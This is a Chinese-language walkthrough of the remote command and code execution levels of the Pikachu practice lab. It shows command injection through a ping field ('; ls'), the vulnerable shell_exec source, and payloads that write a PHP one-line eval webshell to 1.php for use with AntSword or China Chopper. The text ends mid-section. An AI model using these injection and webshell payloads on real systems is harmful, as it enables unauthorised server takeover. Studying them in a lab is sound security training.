RCE(remote command/code execute)远程命令/代码执行。

exec “ping”

Docker 安装 ping 命令工具

由于我们 docker 中并不能执行 ping 命令,所以我们需要安装 ping 命令的工具。

我们先进入 docker pikachu 的容器(注意需要 sudo)

1
docker exec -it [容器ID] [/bin/bash]

进去之后,就用 apt 工具进行安装

1
apt install iputils-ping

原理

和 SQL/XSS 注入一样,都可以堆输入框进行命令构造。SQL 构造的是 SQL 语句,XSS 一般构造 HTML 或者 JS,而 RCE 在这里构造 SHELL 命令。

在 Linux 中,ping 命令是一直执行的,所以上面应该是

1
ping -c 4 [addr]

我们的输入就是 addr,这也是我们构造的地方。如果我们想查看当前目录的文件,就构造成了

1
ping -c 4 www.baidu.com ; ls

这里的分号是 Linux Shell 中的元字符,用于执行多条命令,几十前面的代码错了也可以执行。所以我们只需要输入 www.baidu.com ; ls

OK,我们就可以执行其他命令。

一句话木马

php 的一句话木马

1
2
3
<?php
@eval($_POST['123']);
?>
  1. @:后面代码错误也不报错
  2. eval 执行括号内的命令(php 代码)
  3. $_POST 通过 POST 获取数据

$_POST[‘123’] 用于获取 123 的

构造成

1
ping -c 4 www.baidu.com ; echo '<?php @eval($_POST['123']); ?>' > 1.php

我们 ls 一下,多了一个 1.php,我们就可以利用这个去提权或者怎么样了。

利用菜刀或者蚁剑工具去利用

目录查看

shell 命令执行

源码分析

用 shell_exec 来执行 ping 命令的。

1
2
3
4
5
6
7
8
9
10
11
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
// $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}

}

exec “eval”

eval可以执行 php 的一些代码。

我们先看看这题,我们输一下 php 代码

1
phpinfo();

方法一

1
system("echo '<?php @eval(\$_POST[\"123\"]); ?>' > 1.php");

我们可以去 ping 那里看我们创建 1.php

然后同样的去蚁剑去利用。

方法二

我们这一关本身就有 eval 命令,我们就可以利用这点

我们看到 POST 请求,name 有 txt 和 submit,我们的 txt 相当于 123,而 submit 我们就需要在蚁剑中设置。

步骤